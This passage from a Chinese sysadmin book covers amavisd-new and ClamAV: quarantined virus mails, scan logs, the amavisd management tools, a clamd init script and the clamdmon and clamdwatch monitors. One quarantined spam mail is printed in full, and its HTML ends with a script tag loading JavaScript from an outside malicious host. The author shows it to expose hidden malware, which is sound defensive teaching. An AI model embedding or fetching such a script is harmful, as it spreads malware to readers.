-rw-r-----　1 amavis amavis　5379 Apr 20 10:40 virus-PxXPpvdHvNYU

……

看中间的一行，文件名为 virus-KQFP8+wxuCRq，就是被隔离的邮件。还可以进一步根据邮件的内容和发送的文件sample-virus-executable.txt作比较。查看一下被过滤邮件的内容。

[root@mail virusmails]# more virus-KQFP8+wxuCRq

Return-Path: <>

Delivered-To: virus-quarantine

X-Envelope-From: <root@xxx.cn>

X-Envelope-To: <x1@xxx.cn>

X-Envelope-To-Blocked: <x1@xxx.cn>

X-Quarantine-ID: <FcaEKShRD+nB>

X-Amavis-Alert: INFECTED, message contains virus: Eicar-Test-Signature

X-Spam-Flag: NO

X-Spam-Score: 0

X-Spam-Level:

X-Spam-Status: No, score=x tag=-100 tag2=6.3 kill=6.3 tests=[]

Received: from mail.xxx.cn ([127.0.0.1])

by localhost (mail.xxx.cn [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id FcaEKShRD+nB for <x1@xxx.cn>;

Tue, 20 Apr 2010 18:48:12 +0800 (CST)

Received: by mail.xxx.cn (Postfix, from userid 0)

id 1E926B4D44A; Tue, 20 Apr 2010 18:48:12 +0800 (CST)

To: x1@xxx.cn

Message-Id: <20100420104812.1E926B4D44A@mail.xxx.cn>

Date: Tue, 20 Apr 2010 18:48:12 +0800 (CST)

From: root@xxx.cn (root)

From: virus-tester

To: undisclosed-recipients:;

Subject: amavisd test - simple - virus scanner test pattern

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

以下是从一个上架机器的企业邮件服务器中截取的一小部分过滤邮件病毒的日志。分析一下这些日志，如果要是把这些病毒、木马在内网中运行一下，内网的管理员有的忙一阵子了。

……

/var/amavis/tmp/amavis-20100410T192348-17439/parts/p001: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192845-17437/parts/p002: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192348-17435/parts/p001: Email.Trojan-143 FOUND

/var/amavis/tmp/amavis-20100410T192348-17432/parts/p001 FOUND

/var/amavis/tmp/amavis-20100410T192348-17432/parts/p001: Email.Trojan-108 FOUND

/var/amavis/tmp/amavis-20100410T192845-17431/parts/p002: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192845-17322/parts/p002: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192348-17310/parts/p001: Email.Trojan-108 FOUND

/var/amavis/tmp/amavis-20100410T192845-17233/parts/p002: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192348-17209/parts/p001: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192845-17206/parts/p002: Eicar-Test-Signature FOUND

/var/amavis/tmp/amavis-20100410T192348-17206/parts/p001: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192348-17205/parts/p001: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192348-17200/parts/p001: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192845-17135/parts/p002: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192348-17135/parts/p001: Eicar-Test-Signature FOUND

/var/amavis/tmp/amavis-20100410T192348-17059/parts/p001: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192845-17047/parts/p002: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192348-17035/parts/p001: Email.Trojan-108 FOUND

/var/amavis/tmp/amavis-20100410T192845-17023/parts/p002: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192348-17015/parts/p001: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192845-16856/parts/p002: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192845-16855/parts/p002: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192348-16732/parts/p001: Email.Trojan-108 FOUND

/var/amavis/tmp/amavis-20100410T192845-16732/parts/p002: Email.Trojan-108 FOUND

/var/amavis/tmp/amavis-20100410T192348-16704/parts/p001: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192348-16669/parts/p001: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192845-16664/parts/p002: Email.Trojan.GZC FOUND

/var/amavis/tmp/amavis-20100410T192348-16632/parts/p001: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192348-16601/parts/p001: Email.Trojan-143 FOUND

/var/amavis/tmp/amavis-20100410T192845-16302/parts/p002: Worm.Mydoom.I FOUND

/var/amavis/tmp/amavis-20100410T192348-16602/parts/p001: Worm.Mydoom.I FOUND

……

在上面的例子中，我们分析的是一个测试病毒。也许你会疑惑这些邮件是带有病毒的邮件吗？那么我们可以来看看，是否属实。

我为什么举这个例子呢？首先善良的人们或者是无防卫的人们会看这些垃圾邮件，但是如果你仅仅是将它看做垃圾邮件，那你可就真的错了。对待这封邮件，它的表面执行效果就是一个HTML文档，正如图13.8显示的结果。

[image: figure_0285_0119]
图13.8 垃圾邮件的执行页面



我们不做植入性广告，因此将上面的联系方式涂掉了。但是你如果你看一下邮件的源码，你就会倒吸一口凉气。

[root@mail virusmails]# more virus-ZYSsc-bybetn

Return-Path: <>

Delivered-To: virus-quarantine

X-Envelope-From: <dfgfhkgfhlfd@qq.com.cn>

X-Envelope-To: <admin@mail.xxx.cn>

X-Envelope-To-Blocked: <admin@mail.xxx.cn>

X-Quarantine-ID: <ZYSsc-bybetn>

X-Amavis-Alert: INFECTED, message contains virus: Trojan.JS-47

X-Spam-Flag: NO

X-Spam-Score: 0

X-Spam-Level:

X-Spam-Status: No, score=x tag=-100 tag2=6.3 kill=6.3 tests=[]

Received: from mail.xxx.cn ([127.0.0.1])

by localhost (mail.xxx.cn [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id ZYSsc-bybetn for <admin@mail.xxx.cn>;

Mon, 22 Nov 2010 04:42:02 +0800 (CST)

Received: from qq.com.cn (unknown [183.11.113.92])

by mail.xxx.cn (Postfix) with ESMTP id 166833AC4A2

for <admin@xxx.cn>; Mon, 22 Nov 2010 04:41:55 +0800 (CST)

From: =?GB2312?B?tPovsOy3oi/GsQ==?= <dfgfhkgfhlfd@qq.com.cn>

Subject: admin

To: "admin" <admin@xxx.cn>

Content-Type: text/html;

charset="gb2312"

Content-Transfer-Encoding: 8bit

Date: Mon, 22 Nov 2010 04:39:25 +0800

X-Priority: 2

X-Mailer: Microsoft Outlook Express 6.00.2800.1158

Message-Id: <20101121204156.166833AC4A2@mail.xxx.cn>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=Content-Type content="text/html; charset=gb2312">

<META content="MSHTML 6.00.2900.5726" name=GENERATOR></HEAD>

<BODY>

<P><FONT face=华文新魏 size=4>专业代办<FONT color=#008000>20</FONT><FONT

color=#ff0000>10 年</FONT>全国各地（<FONT color=#ff00ff>国、地税</FONT>）发票，</FONT></P>

<P><FONT size=4><FONT face=华文新魏><FONT color=#008080>真伪</FONT><FONT

color=#ff00ff>确保</FONT>，<FONT color=#ff0000>验票</FONT>后<FONT

color=#008000>付款</FONT>！<FONT color=#ff0000>税率：</FONT><FONT

color=#808000>0.5-2%</FONT></FONT></FONT></P>

<P><FONT face=华文新魏 size=4>若（贵公司）有需要的，请直接来电合作！</FONT></P>

<P><FONT face=华文新魏 size=4><FONT color=#008000>13530068621</FONT><SPAN

……　　//原代码的此处为联系方式，故省略

style="FONT-SIZE: 18pt; FONT-FAMILY: 楷体_GB2312"><FONT face=华文新魏><SPAN

style="FONT-SIZE: 13.5pt; FONT-FAMILY: Verdana; mso-fareast-font-family: 楷 体_GB2312"><SPAN

style="FONT-SIZE: 13.5pt; FONT-FAMILY: 楷 体 _GB2312; mso-hansi-font-family:Verdana"><SPAN

lang=EN-US

style="FONT-SIZE: 13.5pt; FONT-FAMILY: Verdana; mso-fareast-font-family: 楷 体_GB2312"><FONT

face=华文新魏><SPAN

style="FONT-SIZE: 13.5pt; FONT-FAMILY: 楷体_GB2312; mso-hansi-font-family: Verdana;mso-ascii-font-family: Verdana">【<FONT

face=宋体><STRONG>QQ</STRONG></FONT></SPAN><SPAN

style="FONT-SIZE: 13.5pt; FONT-FAMILY: 楷体_GB2312; mso-hansi-font-family: Verdana">】</SPAN></FONT></SPAN></SPAN></SPAN></FONT></SP

AN>&nbsp;

</FONT></P>

<P><FONT face=华文新魏><FONT size=4><FONT

color=#008080>祝：<U>贵司（虎年）生意兴隆！</U></FONT></FONT></FONT></P></BODY></HTML>

<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>

我们看到最后一行，如果你不明白它是个什么东西，那么可以baidu一下，或者是google一下，结果见图13.9。

[image: figure_0286_0120]
图13.9 查找http://mm.aa88567.cn/index/mm.js



这是从google收索的结果。

[root@mail logs]# wget http://mm.aa88567.cn/index/mm.js

--19:58:38-- http://mm.aa88567.cn/index/mm.js

Resolving mm.aa88567.cn... 202.106.199.34

Connecting to mm.aa88567.cn|202.106.199.34|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: http://bjdns1.cncmax.cn:8080?HOST=mm.aa88567.cn&R=/index/mm.js& [following]

--19:58:48-- http://bjdns1.cncmax.cn:8080/?HOST=mm.aa88567.cn&R=/index/mm.js&

Resolving bjdns1.cncmax.cn... 202.106.199.34

Connecting to bjdns1.cncmax.cn|202.106.199.34|:8080... connected.

HTTP request sent, awaiting response... 200 OK

Length: 711 [text/html]

Saving to: 'index.html?HOST=mm.aa88567.cn&R=%2Findex%2Fmm.js&'

100%[====================================>] 711　--.-K/s　in 0s

19:58:53　(111　MB/s)　-　'index.html?HOST=mm.aa88567.cn&R=%2Findex%2Fmm.js&'　saved[711/711]

看上去好像是被保存下来了，而实际上只是一个执行的结果，它的内容就不多分析了，还是那句话，不想作为反面教材。这是在Linux，要是在Windows下就更可怕了！




13.5.5 其他命令


1．amavisd-release命令

描述：

通过这个命令可以将隔离区的邮件通过“正规渠道”重新投递到用户信箱。

它使用的是AM.PDP协议，amavisd-release通过该协议向amavisd守护进程发送一个释放隔离邮件的请求，然后就会将一个被隔离的邮件重新投递到收件箱。

使用方法：

amavisd-release mail_file [secret_id [alt_recip1 alt_recip2 ...]]

或

amavisd-release -

第一种方式是

amavisd-release mail_file [secret_id [alt_recip1 alt_recip2 ...]]

在amavisd-release命令行中指定文件名，该文件名为隔离区中的文件；也可以指定secret_id，这需要建立数据库。

示例如下。

[root@mail amavisd-new-2.6.4-rc2]#./amavisd-release /var/ virusmails/virus- PjhUwiZU81zx

250 2.6.0 Ok, id=rel-PjhUwiZU81zx, from MTA([127.0.0.1]:10025): 250 Ok: queued as 658503AC002

显示250状态，说明释放成功，同时给出了新的队列ID。

第二种方式是

amavisd-release -

从标准输入设备（stdin）读取，可以批量释放邮件。

示例如下。

[root@mail virusmails]# ll

-rw-r----- 1 amavis amavis 5379 Apr 20 17:27 virus-6ZwsqxLjVhXh

-rw-r----- 1 amavis amavis 5379 Apr 20 17:27 virus-C6YPtFaYR6ET

[root@mail virusmails]# ls | /root/amavisd-new-2.6.4-rc2/amavisd-release -

250 2.6.0 Ok, id=rel-6ZwsqxLjVhXh, from MTA([127.0.0.1]:10025): 250 Ok: queued as 9358DB4D6CA

250 2.6.0 Ok, id=rel-C6YPtFaYR6ET, from MTA([127.0.0.1]:10025): 250 Ok: queued as 97B6AB4D6CA

2．amavisd-nanny

描述：

该程序是在amavisd-new中显示状态和查看子进程的健康情况。

使用方法：

amavisd-nanny [-c <count>] [-w <wait-interval>]

相关参数见表13.12。


表13.12 amavisd-nanny的参数

[image: figure_0288_0121]


在执行amavisd-nanny命令时，会在标准的输出设备上显示出amavisd当前的工作状态，及健康状态，有关这些状态请参考状态说明表13.13。


表13.13 状态说明

[image: figure_0288_0122]


示例如下。

[root@mail amavisd-new-2.6.4-rc2]# ./amavisd-nanny -c 2 -w 5

process-id task-id　elapsed in　elapsed-bar (dots indicate idle)

or state idle or busy

PID 27738:　　　0:02:27 .........:.........:.........:.....

PID 28151:　　　0:10:51 .........:.........:.........:.....

PID 28167:　　　0:00:10 .........:

PID 28608:　　　0:02:20 .........:.........:.........:.....

PID 28807:　　　0:03:55 .........:.........:.........:.....

PID 29661: 29661-09　0:00:04 SSSS

PID 30119:　　　0:05:31 .........:.........:.........:.....

PID 30578:　　　0:02:16 .........:.........:.........:.....

PID 00455:　　　0:01:02 .........:.........:.........:.....

PID 28807: 28807-18　0:00:06 SSSSSSS

PID 29661:　　　0:05:22 .........:.........:.........:.....

PID 30119:　　　0:02:21 .........:.........:.........:.....

PID 30578:　　　0:01:22 .........:.........:.........:.....

PID 31265: 31265-13　0:00:03 VVV

PID 31594:　　　0:01:35 .........:.........:.........:.....

PID 32008:　　　0:00:27 .........:.........:.......

3．amavisd-agent

描述：

amavisd-agent是类似于SNMP，通过amavisd-new的更新计数器。

使用方法：

amavisd-agent [-c <count>] [-w <wait-interval>]

相关参数见表13.14。


表13.14 a amavisd-agent 的参数

[image: figure_0289_0123]


示例如下。

[root@mail amavisd-new-2.6.4-rc2]# ./amavisd-agent -c 2 -w 5

entropy　　STR DkA7iBa+jw

sysContact　STR

sysDescr　　STR amavisd-new-2.6.1 (20080629)

sysLocation　STR

sysName　　STR mail.xxx.cn

sysObjectID　OID 1.3.6.1.4.1.15312.2.1

sysUpTime　　TimeTicks 2603302 (0 days, 7:13:53.02)

CacheAttempts　　　　　　　821　　114/h　100.0 % (CacheAttempts)

CacheHits　　　　　　　　151　　21/h　18.4 % (CacheAttempts)

CacheHitsVirusCheck　　　　　37　　5/h　　4.5 % (CacheAttempts)

CacheHitsVirusMsgs　　　　　18　　2/h　　78.3 % (ContentVirusMsgs)

CacheMisses　　　　　　　670　　93/h　81.6 % (CacheAttempts)

ContentBadHdr8bitMsgs　　　　　18　　2/h　　2.2 % (InMsgs)

ContentBadHdr8bitMsgsOutbound　　　18　　2/h　　2.2 % (InMsgsOutbound)

ContentBannedMsgs　　　　　　2　　0/h　　0.2 % (InMsgs)

ContentBannedMsgsOutbound　　　　2　　0/h　　0.2 % (InMsgsOutbound)

ContentCleanTagMsgs　　　　　777　　107/h　94.6 % (InMsgs)

ContentCleanTagMsgsOutbound　　　777　　107/h　94.6 % (InMsgsOutbound)

ContentUncheckedMsgs　　　　　1　　0/h　　0.1 % (InMsgs)

ContentUncheckedMsgsOutbound　　　1　　0/h　　0.1 % (InMsgsOutbound)

ContentVirusMsgs　　　　　　23　　3/h　　2.8 % (InMsgs)

ContentVirusMsgsOutbound　　　　23　　3/h　　2.8 % (InMsgsOutbound)

InMsgs　　　　　　　　821　　114/h　100.0 % (InMsgs)

InMsgsBounce　　　　　　　3　　0/h　　0.4 % (InMsgs)

InMsgsBounceUnverifiable　　　　1　　0/h　　33.3 % (InMsgsBounce)

InMsgsNullRPath　　　　　　1　　0/h　　0.1 % (InMsgs)

InMsgsOutbound　　　　　　821　　114/h　100.0 % (InMsgs)

InMsgsRecips　　　　　　　824　　114/h　100.4 % (InMsgs)

InMsgsRecipsOutbound　　　　　824　　114/h　100.4 % (InMsgsOutbound)

InMsgsSize　　　　　　　34MB　5MB/h　100.0 % (InMsgsSize)

InMsgsSizeOutbound　　　　　34MB　5MB/h　100.0 % (InMsgsSize)

LogLines　　　　　　　　5254　727/h　--- % (LogEntries)

OpsDec　　　　　　　　821　　114/h　100.0 % (InMsgs)

OpsDecByArZip　　　　　　　62　　9/h　　7.6 % (InMsgs)

OpsDecByArZipAttempt　　　　　85　　12/h　10.4 % (InMsgs)

OpsDecByLhaAttempt　　　　　22　　3/h　　2.7 % (InMsgs)

OpsDecByMimeParser　　　　　821　　114/h　100.0 % (InMsgs)

OpsDecByUUlib　　　　　　　34　　5/h　　4.1 % (InMsgs)

OpsDecByUUlibAttempt　　　　　198　　27/h　24.1 % (InMsgs)

OpsSpamCheck　　　　　　　798　　110/h　97.2 % (InMsgs)

OpsVirusCheck　　　　　　　783　　108/h　95.4 % (InMsgs)

OutConnNew　　　　　　　781　　108/h　95.1 % (OutMsgs)

OutConnQuit　　　　　　　764　　106/h　93.1 % (OutMsgs)

OutConnReuseFail　　　　　　16　　2/h　　1.9 % (OutMsgs)

OutConnReuseRecent　　　　　2　　0/h　　0.2 % (OutMsgs)

OutConnReuseRefreshed　　　　　38　　5/h　　4.6 % (OutMsgs)

OutConnTransact　　　　　　821　　114/h　100.0 % (OutMsgs)

OutForwHoldMsgs　　　　　　1　　0/h　　0.1 % (OutMsgs)

OutForwMsgs　　　　　　　796　　110/h　97.0 % (OutMsgs)

OutMsgs　　　　　　　　821　　114/h　100.0 % (InMsgs)

OutMsgsDelivers　　　　　　821　　114/h　100.0 % (OutMsgs)

QuarBadHdr8bitMsgs　　　　　18　　2/h　　41.9 % (QuarMsgs)

QuarBannedMsgs　　　　　　2　　0/h　　4.7 % (QuarMsgs)

QuarMsgs　　　　　　　　43　　6/h　　100.0 % (QuarMsgs)

QuarVirusMsgs　　　　　　　23　　3/h　　53.5 % (QuarMsgs)

TimeElapsedDecoding　　　　　24 s　0.029 s/msg (InMsgs)

TimeElapsedReceiving　　　　　54 s　0.065 s/msg (InMsgs)

TimeElapsedSending　　　　　44 s　0.054 s/msg (InMsgs)

TimeElapsedSpamCheck　　　　　3448 s　4.200 s/msg (InMsgs)

TimeElapsedTotal　　　　　　3608 s　4.394 s/msg (InMsgs)

TimeElapsedVirusCheck　　　　　8 s　　0.010 s/msg (InMsgs)

sysServices　　　　　　　64　　9/h　　--- % ()

OpsDecType-txt　　　　　　452　　63/h　55.1 % (InMsgs)

OpsDecType-html　　　　　　368　　51/h　44.8 % (InMsgs)

OpsDecType-asc　　　　　　198　　27/h　24.1 % (InMsgs)

OpsDecType-doc　　　　　　82　　11/h　10.0 % (InMsgs)

OpsDecType-zip　　　　　　63　　9/h　　7.7 % (InMsgs)

OpsDecType-image.jpg　　　　　44　　6/h　　5.4 % (InMsgs)

OpsDecType-exe.exe-UNIX　　　　20　　3/h　　2.4 % (InMsgs)

OpsDecType-image.gif　　　　　12　　2/h　　1.5 % (InMsgs)

OpsDecType-dat　　　　　　5　　1/h　　0.6 % (InMsgs)

OpsDecType-rar　　　　　　3　　0/h　　0.4 % (InMsgs)

OpsDecType-exe.exe-ms　　　　　2　　0/h　　0.2 % (InMsgs)

OpsDecType-arc　　　　　　1　　0/h　　0.1 % (InMsgs)

OpsDecType-sgml　　　　　　1　　0/h　　0.1 % (InMsgs)

virus.byname.Eicar-Test-Signature　　43　　6/h　　187.0 % (ContentVirusMsgs)

……

这里对于上面的输出内容不再解释，可以参考源代码解压包中的AMAVIS-MIB.txt文件。




第14章 监控与管理Clamd


本章中我们首先为 clamd 建立一个启动管理脚本，从而可以通过service命令对clamd进程进行管理；然后介绍了clamdmon和clamdwatch 2个工具，clamdmon是一个检测ClamAV守护进程健康状况的工具软件，它是C语言写的；clamdwatch是一个perl脚本，也是检测ClamAV守护进程的健康状况，至于选用哪个可以根据自己的喜好。最后是ClamAV提供的 8 个命令，即 clamd、clamconf、clamdscan、clamdtop、clamscan、freshclam、sigtool和clamav-config。不同的命令提供了不同的功能（听起来好像是废话，可废话往往都是真理）。




14.1 clamd启动脚本（init script）


由于ClamAV 0.95.3的tar包中没有提供启动脚本（init script），因此需要自己写一个，写这个脚本的要点是确定如下参数。

Chkconfig：启动及停止的运行级别

Processname：启动进程的命令路径

Pidfile：进程标识符

Config：配置文件路径

[-x ]：执行命令的路径

daemon：执行路径

下面是一个具体的例子。

[root@www init.d]# more clamd

#!/bin/sh

#

# Startup script for the Clam AntiVirus Daemon

#

# chkconfig: 2345 61 39

# description: Clam AntiVirus Daemon is a TCP/IP or socket protocol \

#　　　server.

# processname: /usr/local/clamav/sbin/clamd

#　pidfile: /var/run/clamd.pid

#　config: /usr/local/clamav/etc/clamd.conf

# Source function library.

. /etc/rc.d/init.d/functions

# Source networking configuration.

. /etc/sysconfig/network

[ -x /usr/local/clamav/sbin/clamd ] || exit 0

# See how we were called.

case "$1" in

start)

echo -n "Starting Clam AntiVirus Daemon: "

daemon /usr/local/clamav/sbin/clamd

RETVAL=$?

echo

[ $RETVAL -eq 0 ] && touch /var/lock/subsys/clamd

;;

stop)

echo -n "Stopping Clam AntiVirus Daemon: "

killproc clamd

rm -f /tmp/clamd.socket

rm -f /var/run/clamd.pid

RETVAL=$?

echo

### heres the fix... we gotta remove the stale files on restart

[ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/clamd

;;

status)

status clamd

RETVAL=$?

;;

restart|reload)

$0 stop

$0 start

RETVAL=$?

;;

condrestart)

[ -e /var/lock/subsys/clamd ] && restart

RETVAL=$?

;;

*)

echo "Usage: clamd {start|stop|status|restart|reload|condrestart}"

exit 1

esac

exit $RETVAL

在“/etc/init.d”目录下编辑完上述脚本后还需要执行如下的操作。

[root@nas init.d]# chmod 755 clamd

[root@nas init.d]# chkconfig --add clamd

现在就可以通过使用service命令来启动、停止clamd了。




14.2 监控与自动重启clamd


在 clamav-0.95.3 的安装包中 contrib/目录中有两个安装包。这两工具包中是用来监控 clamd的。如果是clamd异常终止，那么这些工具可以重新启动clamd。可以通过crontab来设置检查的时间间隔，并执行命令。（contrib是外围爱好者根据需要自行编译并贡献的软件）




14.2.1 clamdmon工具


clamdmon是一个检测ClamAV守护进程健康状况的工具软件。clamdmon的检测原理是通过发送 clamd stream，这是一个包含了EICAR 测试签名的病毒。如果发现病毒，clamdmon 将会返回“1”，说明clamd在运行；如果返回的是“0”，则说明clamd已被关闭，这时clamdmon会校验数据库的完整性或者（并且）是重启ClamAV守护进程。

1．解压缩安装包

[root@nas contrib]# cd clamdmon/

[root@nas clamdmon]# ls

clamdmon-1.0.tar.gz

[root@nas clamdmon]# tar -zxvf clamdmon-1.0.tar.gz

clamdmon-1.0/

clamdmon-1.0/Makefile

clamdmon-1.0/clamdmon.c

clamdmon-1.0/readme

clamdmon-1.0/ChangeLog

clamdmon-1.0/clamdmon.sh

clamdmon-1.0/COPYING

[root@nas clamdmon]# ls

clamdmon-1.0 clamdmon-1.0.tar.gz

[root@nas clamdmon]# cd clamdmon-1.0

[root@nas clamdmon-1.0]# ls

COPYING ChangeLog Makefile clamdmon.c clamdmon.sh readme

解压安装包后，查看一下Makefile，会发现安装非常简单。

[root@nas clamdmon-1.0]# more Makefile

CC = gcc

LIBS =

CFLAGS = -O2 -Wall

INSTALL = install -c

PREFIX = /usr/local

SBINDIR = $(PREFIX)/sbin

all: clamdmon

clamdmon: clamdmon.c

$(CC) $(CFLAGS) $(LIBS) -o clamdmon clamdmon.c

strip clamdmon

clean:

rm -f clamdmon

install:

$(INSTALL) -m 755 clamdmon $(SBINDIR)

$(INSTALL) -m 755 clamdmon.sh $(SBINDIR)

从这个文件看出，可以通过修改“PREFIX”来改变clamdmon的安装路径。由于没有configure脚本，如果想改变安装目录只能在这里修改。

另外，我们看一下clamdmon.c这个文件的第48行。

[root@nas clamdmon-1.0]# head -48 clamdmon.c

……

const char *eicar="X5O!P%@AP[4\\PZX54(P^)7CC]7]$EICAR-STANDARD-ANTIVIRUS-TEST-FILE! $H+H*";

这就是那个测试病毒的代码，看着不陌生吧？

2．安装clamdmon

根据readme的说明进行安装

[root@nas clamdmon-1.0]# make

gcc -O2 -Wall -o clamdmon clamdmon.c

strip clamdmon

[root@nas clamdmon-1.0]# make install

install -c -m 755 clamdmon /usr/local/sbin

install -c -m 755 clamdmon.sh /usr/local/sbin

可以看出默认情况下clamdmon被安装在/usr/local/sbin/目录下，clamdmon.sh运行时不用任何参数，但是需要clamd运行在TCPSocket模式下，如果是运行在LocalSocket模式下，那么需要使用clamdmon -p LocalSocket格式，这里的LocalSocket要与clamd.conf 配置文件中的LocalSocket设置要一致。因此如果要使用 LocalSocket 模式，那么要将“-p LocalSocke”加到“/usr/local/sbin/clamdmon”之后，“&&”之前。而不是“/usr/local/sbin/clamdmon.sh -p LocalSocke”的形式。

查看一下clamdmon.sh。

[root@nas clamdmon-1.0]# more clamdmon.sh

#!/bin/sh

/usr/local/clamav/sbin/clamd && (killall clamd; sleep 5; killall -9 clamd; sleep 1;/usr/local/clamav/sbin/clamd)

在这个文件中一定要按照系统中ClamAV的具体安装情况修改，例如clamd守护进程的全路径，killall是否存在等等。

3．通过cron设置定期检测

最后一步需要做的是cron。

[root@nas clamdmon-1.0]# crontab –e

*/5 * * * * /usr/local/sbin/clamdmon.sh

4．举例

现在模拟一个clamd守护进程异常终止的情况，然后再通过clamdmon检测。

[root@nas clamdmon-1.0]# ps -ef|grep clamd

root　5249　1　0 Mar26 ?　　00:00:02

root　18161 21050　0 09:12 pts/1　00:00:00 grep clamd

You have new mail in /var/spool/mail/root

[root@nas clamdmon-1.0]# killall clamd

[root@nas clamdmon-1.0]# ps -ef|grep clamd

root　18164 21050　0 09:12 pts/1　00:00:00 grep clamd

[root@nas clamdmon-1.0]# /usr/local/sbin/clamdmon.sh

clamd: no process killed

[root@nas clamdmon-1.0]# ps -ef|grep clamd

root　18255　1　0 09:25 ?　　00:00:00 /usr/local/clamav/sbin/clamd

root　18259 21050　0 09:26 pts/1　00:00:00 grep clamd

可以看得出，是能够成功启动clamd守护进程的。

如果是在正常情况下（就是说clamd守护进程健康状况良好）运行这个检查脚本，那么会出现如下提示。

[root@nas clamdmon-1.0]# /usr/local/sbin/clamdmon.sh

ERROR: TCP: bind() error: Address already in use

因此可以将clamdmon.sh脚本检测的结果定向到一个文件中，一边查看它的工作情况，亦可以查看clamd的工作情况。

例如，将该脚本修改如下。

[root@nas clamdmon-1.0]# more clamdmon.sh

#!/bin/sh

/usr/local/clamav/sbin/clamd && (killall clamd; sleep 5; killall -9 clamd; sleep 1;/usr/local/clamav/sbin/clamd) >> /var/log/clamdmon/ clamdmon.log




14.2.2 clamdwatch工具


clamdwatch是一个perl脚本，它同样包含了一个EICAR测试签名的病毒，clamdwatch通过连接clamd的套接字（socket），请求clamd对这个脚本扫描，如果在15秒内（脚本设定的超时时间）返回了扫描到病毒，那么脚本会返回“1”；如果是超时没有得到返回，或者是没有扫描到有病毒，那么脚本都会返回“0”，另外，如果是定义的$Socket与clamd.conf不匹配或者是没有设置以及设置了但是联系不上socket，都会返回“0”。

1．解压缩安装包

[root@nas contrib]# cd clamdwatch

[root@nas clamdwatch]# tar -zxvf clamdwatch.tar.gz

clamdwatch

INSTALL-0.7

README

2．获取clamdwatch新版本

在解压的安装包中，clamdwatch就是要作为检测用的命令，打开可以看一下就是个perl脚本，在INSTALL-0.7文件中给了获得最新版本的方法。

[root@nas clamdwatch]# wget http://mikecathey.com/code/ \

> clamdwatch/clamdwatch.txt

[root@nas clamdwatch]# chmod +x clamdwatch.txt

[root@nas clamdwatch]# mv clamdwatch.txt clamdwatch.pl

[root@nas clamdwatch]# which perl

/usr/bin/perl

[root@nas clamdwatch]# head -1 clamdwatch.pl

#!/usr/bin/perl

首先是下载文件clamdwatch.txt，然后是给其执行的权限并更名。你可以比较一下当前目录中的clamdwatch和clamdwatch.pl，实际上是完全一样的，就是说安装包所带的是最新版本。之所以介绍一下，是因为可以作为一种clamdwatch升级的方法。最后是确定了一下perl所在的路径。

确定 socket 变量（$Socket）的正确性，使得它与 clamav.conf 配置文件中的值一致。从Clamdwatch 0.7test1版开始就支持通过TCP socket连接clamd 了，现在用的是v0.7.3。因此，如果使用TCP socket，那么要使得socket变量“$Socket= 3310”（与clamav.conf 文件一致即可）。检测方法如下。

[root@nas clamdwatch]# grep Socket /usr/local/clamav/etc/clamd.conf clamdwatch.pl

/usr/local/clamav/etc/clamd.conf:LocalSocket /tmp/clamd.socket

/usr/local/clamav/etc/clamd.conf:TCPSocket 3310

clamdwatch.pl:my $Socket = $options{s} || "/tmp/clamd.socket";

将脚本clamdwatch.pl拷贝到/usr/local/sbin/目录（这一步非必须）。

[root@nas clamdwatch]# cp clamdwatch.pl /usr/local/sbin/

3．通过cron设置定期检测

最后一步是利用cron来运行这个脚本文件，在运行脚本clamdwatch.pl后加上“-q”参数可以使得正常运行的clamd 不显示"Clamd Running"信息。

在这里需要调整如下3点。

所在的操作系统是否有killall命令；

确定clamd 的socket的正确路径；

确定clamd 启动脚本（init script）的正确路径。

在写入crontab时可以参考clamd的启动配置文件。

[root@nas clamdwatch]# crontab -e

*/5 * * * * /usr/local/sbin/clamdwatch.pl -q && (/usr/bin/killall -9 clamd; rm –f /tmp/clamd.socket /var/run/clamd.pid; /etc/init.d/clamd restart 2>&1)

clamdwatch.pl 检查/var/lock/subsys/clamd 文件。这个文件是在 clamd 的启动配置文件中指定的，在如果这个文件存在，那么clamdwatch.pl会认为这是由于非正常退出而产生的，或至少不是通过service命令关闭clamd的，那么clamdwatch.p就会重新启动clamd。

4．举例

[root@nas clamdwatch]# ps -ef|grep clamd

root　18255　1　0 09:25 ?　　00:00:02 /usr/local/clamav/sbin/clamd

root　18422 21050　0 09:58 pts/1　00:00:00 grep clamd

[root@nas clamdwatch]# killall clamd

[root@nas clamdwatch]# ps -ef|grep clamd

root　18426 21050　0 09:58 pts/1　00:00:00 grep clamd

[root@nas clamdwatch]# /usr/local/sbin/clamdwatch.pl -q && (/usr/bin/killall -9 clamd;rm -f /tmp/clamd.socket /var/run/clamd.pid; /etc/init.d/clamd restart 2>&1)

clamd: no process killed

Stopping Clam AntiVirus Daemon:　　　　　　[FAILED]

Starting Clam AntiVirus Daemon:　　　　　　[　OK　]




14.3 clamd相关命令





14.3.1 clamd


1．语法格式

clamd [options]

2．描述

